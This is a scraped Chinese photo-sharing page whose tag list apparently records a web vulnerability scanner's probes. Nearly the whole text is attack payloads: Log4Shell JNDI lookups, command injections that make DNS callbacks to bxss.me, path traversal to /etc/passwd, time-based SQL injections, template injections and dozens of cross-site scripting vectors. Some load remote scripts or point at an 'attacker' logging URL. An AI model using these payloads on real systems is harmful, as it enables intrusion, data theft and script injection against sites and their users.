×
照片标签：
- 1
- response.write(9000981*9368496)
- '+response.write(9000981*9368496)+'
- "+response.write(9000981*9368496)+"
- bIemFQEb
- ${j${::-n}di:dns${::-:}//hitsawumavwmd05587${::-.}bxss.me}zzzz
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-112198..b60ca${::-.}1${::-.}bxss.me}}
- echo mrreuh$()\ leoxqy\nz^xyu||a #' &echo mrreuh$()\ leoxqy\nz^xyu||a #|" &echo mrreuh$()\ leoxqy\nz^xyu||a #
- &echo whlzkz$()\ tdgnaj\nz^xyu||a #' &echo whlzkz$()\ tdgnaj\nz^xyu||a #|" &echo whlzkz$()\ tdgnaj\nz^xyu||a #
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- |echo ajnbvg$()\ knfggt\nz^xyu||a #' |echo ajnbvg$()\ knfggt\nz^xyu||a #|" |echo ajnbvg$()\ knfggt\nz^xyu||a #
- (nslookup hitoxbtbbgjzpcd7f8.bxss.me||perl -e "gethostbyname('hitoxbtbbgjzpcd7f8.bxss.me')")
- ../1
- $(nslookup hitikosyhjhvwc391a.bxss.me||perl -e "gethostbyname('hitikosyhjhvwc391a.bxss.me')")
- &(nslookup hitmibbywmnxv1f1eb.bxss.me||perl -e "gethostbyname('hitmibbywmnxv1f1eb.bxss.me')")&'\"`0&(nslookup hitmibbywmnxv1f1eb.bxss.me||perl -e "gethostbyname('hitmibbywmnxv1f1eb.bxss.me')")&`'
- |(nslookup hithlxrlkwykx5f7ec.bxss.me||perl -e "gethostbyname('hithlxrlkwykx5f7ec.bxss.me')")
- `(nslookup hitwokgxwyxdy15360.bxss.me||perl -e "gethostbyname('hitwokgxwyxdy15360.bxss.me')")`
- ${10000283+10000499}
- 1<esi:include src="http://bxss.me/rpb.png"/>
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt?.jpg
- bxss.me
- 1&n957419=v903066
- JF5XIu65
- -1 OR 2+873-873-1=0+0+0+1 --
- -1 OR 2+357-357-1=0+0+0+1
- -1' OR 2+656-656-1=0+0+0+1 --
- -1' OR 2+733-733-1=0+0+0+1 or 'bPqGl3dF'='
- -1" OR 2+562-562-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- )
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:15' --
- '"()
- lVeIO31x'
- -5 OR 88=(SELECT 88 FROM PG_SLEEP(15))--
- -5) OR 704=(SELECT 704 FROM PG_SLEEP(15))--
- -1)) OR 986=(SELECT 986 FROM PG_SLEEP(15))--
- MoYy8gN4' OR 981=(SELECT 981 FROM PG_SLEEP(15))--
- XWhlGEjy') OR 969=(SELECT 969 FROM PG_SLEEP(15))--
- OxJMgxQ8')) OR 151=(SELECT 151 FROM PG_SLEEP(15))--
- '.gethostbyname(lc('hitax'.'atyajjsn62e5f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(65).chr(101).chr(67).'
- ".gethostbyname(lc("hitrg"."proczwlq3e00f.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(73).chr(110).chr(77)."
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- '
- "+"A".concat(70-3).concat(22*4).concat(104).concat(75).concat(100).concat(77)+(require"socket" Socket.gethostbyname("hitgr"+"mvmhphfb41c9c.bxss.me.")[3].to_s)+"
- "
- HttP://bxss.me/t/xss.html?%00
- bibs
- '+'A'.concat(70-3).concat(22*4).concat(114).concat(89).concat(111).concat(71)+(require'socket' Socket.gethostbyname('hitpz'+'couteydr08f79.bxss.me.')[3].to_s)+'
- bxss.me/t/xss.html?%00
- ${@print(md5(31337))}
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- ${@print(md5(31337))}\
- /xfs.bxss.me
- '"
- '.print(md5(31337)).'
- <!--
- bibs/.
- '||(select 1 from (select pg_sleep(15))x)||'
- 1'"()&%<acx><ScRiPt >AlFG(9905)</ScRiPt>
- '"()&%<acx><ScRiPt >AlFG(9004)</ScRiPt>
- 19570748
- acu7007＜s1﹥s2ʺs3ʹuca7007
- acux6374z1z2abcxuca6374
- <%={{={@{#{${acx}}%>
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@cMJ4M
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu4174＜s1﹥s2ʺs3ʹuca4174
- acux4225z1z2abcxuca4225
- acu2810＜s1﹥s2ʺs3ʹuca2810
- acux3817z1z2abcxuca3817
- 1"onmouseover=AlFG(99062)"
- 1" xWr5=AlFG([!+!]) GM3="
- 1\u0022onmouseover=AlFG(95753)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%41%6C%46%47%28%39%37%36%30%34%29%22
- "onmouseover=AlFG(92505)//
- 1"sTYLe='acu:Expre/**/SSion(AlFG(9934))'bad="
- 1"><script>AlFG(9201)</script>
- 1<ScRiPt >AlFG(9400)</ScRiPt>
- 1<WJPYVH>YUNDW[!+!]</WJPYVH>
- 1<script>AlFG(9643)</script>
- 1<ScR<ScRiPt>IpT>AlFG(9207)</sCr<ScRiPt>IpT>
- 1<ScRiPt >AlFG(9098)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9893></ScRiPt>
- 1< ScRiPt >AlFG(9148)</ScRiPt>
- 1<svg onload=AlFG(9689)
- 1<isindex type=image src=1 onerror=AlFG(9516)>
- 1<iframe src='data:text/html
- 1<body onload=AlFG(9101)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=AlFG(9252)>
- 1<img src=xyz OnErRor=AlFG(9624)>
- 1<img/src=">" onerror=alert(9207)>
- %31%3C%53%63%52%69%50%74%20%3E%41%6C%46%47%289202%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\AlFG(9563)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=AlFG(93261) //>
- 1<input autofocus onfocus=AlFG(9669)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(AlFG(9299))}
- 13w98V <ScRiPt >AlFG(9224)</ScRiPt>
- 1<WLB0EC>IV2N6[!+!]</WLB0EC>
- 1<ifRAme sRc=9403.com></IfRamE>
- 1<a8mplfX x=9849>
- 1<img sRc='http://attacker-9923/log.php?
- 1<aupFZtv<
- 1BcA6vBDCAO
- response.write(9242681*9379036)
- '+response.write(9242681*9379036)+'
- ${j${::-n}di:dns${::-:}//hitzzjkedannm5459d${::-.}bxss.me}zzzz
- "+response.write(9242681*9379036)+"
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-663335..b60ca${::-.}1${::-.}bxss.me}}
- KQ9MyUDQ
- echo qenofl$()\ vpwrot\nz^xyu||a #' &echo qenofl$()\ vpwrot\nz^xyu||a #|" &echo qenofl$()\ vpwrot\nz^xyu||a #
- 12345'"\'\")
- &echo qxjyfl$()\ zflqcm\nz^xyu||a #' &echo qxjyfl$()\ zflqcm\nz^xyu||a #|" &echo qxjyfl$()\ zflqcm\nz^xyu||a #
- |echo khtjag$()\ jjcfwl\nz^xyu||a #' |echo khtjag$()\ jjcfwl\nz^xyu||a #|" |echo khtjag$()\ jjcfwl\nz^xyu||a #
- (nslookup hitpvjcthixtofe322.bxss.me||perl -e "gethostbyname('hitpvjcthixtofe322.bxss.me')")
- $(nslookup hitxlzdexeuek6c984.bxss.me||perl -e "gethostbyname('hitxlzdexeuek6c984.bxss.me')")
- &(nslookup hitlupwzasrjkeb5ac.bxss.me||perl -e "gethostbyname('hitlupwzasrjkeb5ac.bxss.me')")&'\"`0&(nslookup hitlupwzasrjkeb5ac.bxss.me||perl -e "gethostbyname('hitlupwzasrjkeb5ac.bxss.me')")&`'
- |(nslookup hitulguvndbzsb9308.bxss.me||perl -e "gethostbyname('hitulguvndbzsb9308.bxss.me')")
- `(nslookup hitbwfxhrqpqp72132.bxss.me||perl -e "gethostbyname('hitbwfxhrqpqp72132.bxss.me')")`
- Ddy4iRbD
- 1&n924205=v935943
- -1 OR 2+626-626-1=0+0+0+1 --
- -1 OR 2+323-323-1=0+0+0+1
- -1' OR 2+171-171-1=0+0+0+1 --
- -1' OR 2+729-729-1=0+0+0+1 or 'A9eCCfh5'='
- -1" OR 2+386-386-1=0+0+0+1 --
- '.gethostbyname(lc('hitfn'.'fxeiwnoq451e2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(88).chr(115).chr(86).'
- ".gethostbyname(lc("hitjn"."waqtgiog67c26.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(84).chr(116).chr(78)."
- fPFEJM14'
- "+"A".concat(70-3).concat(22*4).concat(104).concat(82).concat(116).concat(70)+(require"socket" Socket.gethostbyname("hiteo"+"rbpnpwts7cbeb.bxss.me.")[3].to_s)+"
- -5 OR 609=(SELECT 609 FROM PG_SLEEP(15))--
- '+'A'.concat(70-3).concat(22*4).concat(118).concat(86).concat(105).concat(86)+(require'socket' Socket.gethostbyname('hitte'+'tsopnsgq807d6.bxss.me.')[3].to_s)+'
- -5) OR 669=(SELECT 669 FROM PG_SLEEP(15))--
- -1)) OR 713=(SELECT 713 FROM PG_SLEEP(15))--
- MfVRUytC' OR 893=(SELECT 893 FROM PG_SLEEP(15))--
- F7Z1CxY6') OR 280=(SELECT 280 FROM PG_SLEEP(15))--
- 2SxgiIw1')) OR 335=(SELECT 335 FROM PG_SLEEP(15))--
- 1'"()&%<acx><ScRiPt >3fhU(9716)</ScRiPt>
- @@uN5XS
- '"()&%<acx><ScRiPt >3fhU(9893)</ScRiPt>
- 19232120
- acu8688＜s1﹥s2ʺs3ʹuca8688
- acux1940z1z2abcxuca1940
- acu6442＜s1﹥s2ʺs3ʹuca6442
- acux6937z1z2abcxuca6937
- acu9869＜s1﹥s2ʺs3ʹuca9869
- acux4670z1z2abcxuca4670
- 1"onmouseover=3fhU(94202)"
- 1" eRBr=3fhU([!+!]) AAa="
- 1\u0022onmouseover=3fhU(97653)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%33%66%68%55%28%39%31%32%36%34%29%22
- "onmouseover=3fhU(94915)//
- 1"sTYLe='acu:Expre/**/SSion(3fhU(9785))'bad="
- 1"><script>3fhU(9108)</script>
- 1<ScRiPt >3fhU(9585)</ScRiPt>
- 1<W00PIE>VYTHH[!+!]</W00PIE>
- 1<script>3fhU(9792)</script>
- 1<ScR<ScRiPt>IpT>3fhU(9029)</sCr<ScRiPt>IpT>
- 1<ScRiPt >3fhU(9017)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9968></ScRiPt>
- 1< ScRiPt >3fhU(9305)</ScRiPt>
- 1<svg onload=3fhU(9421)
- 1<isindex type=image src=1 onerror=3fhU(9093)>
- 1<body onload=3fhU(9655)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=3fhU(9239)>
- 1<img src=xyz OnErRor=3fhU(9475)>
- 1<img/src=">" onerror=alert(9796)>
- %31%3C%53%63%52%69%50%74%20%3E%33%66%68%55%289176%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\3fhU(9335)\u003C/sCripT\u003E
- <img acu onmouseover=3fhU(97751) //>
- 1<input autofocus onfocus=3fhU(9636)>
- 1}body{acu:Expre/**/SSion(3fhU(9981))}
- 1w6tAc <ScRiPt >3fhU(9722)</ScRiPt>
- 1<WZR4S9>IR7VY[!+!]</WZR4S9>
- 1<ifRAme sRc=9834.com></IfRamE>
- 1<a81O64E x=9707>
- 1<img sRc='http://attacker-9673/log.php?
- 1<aWUmOvc<
微信扫一扫, 保存到手机
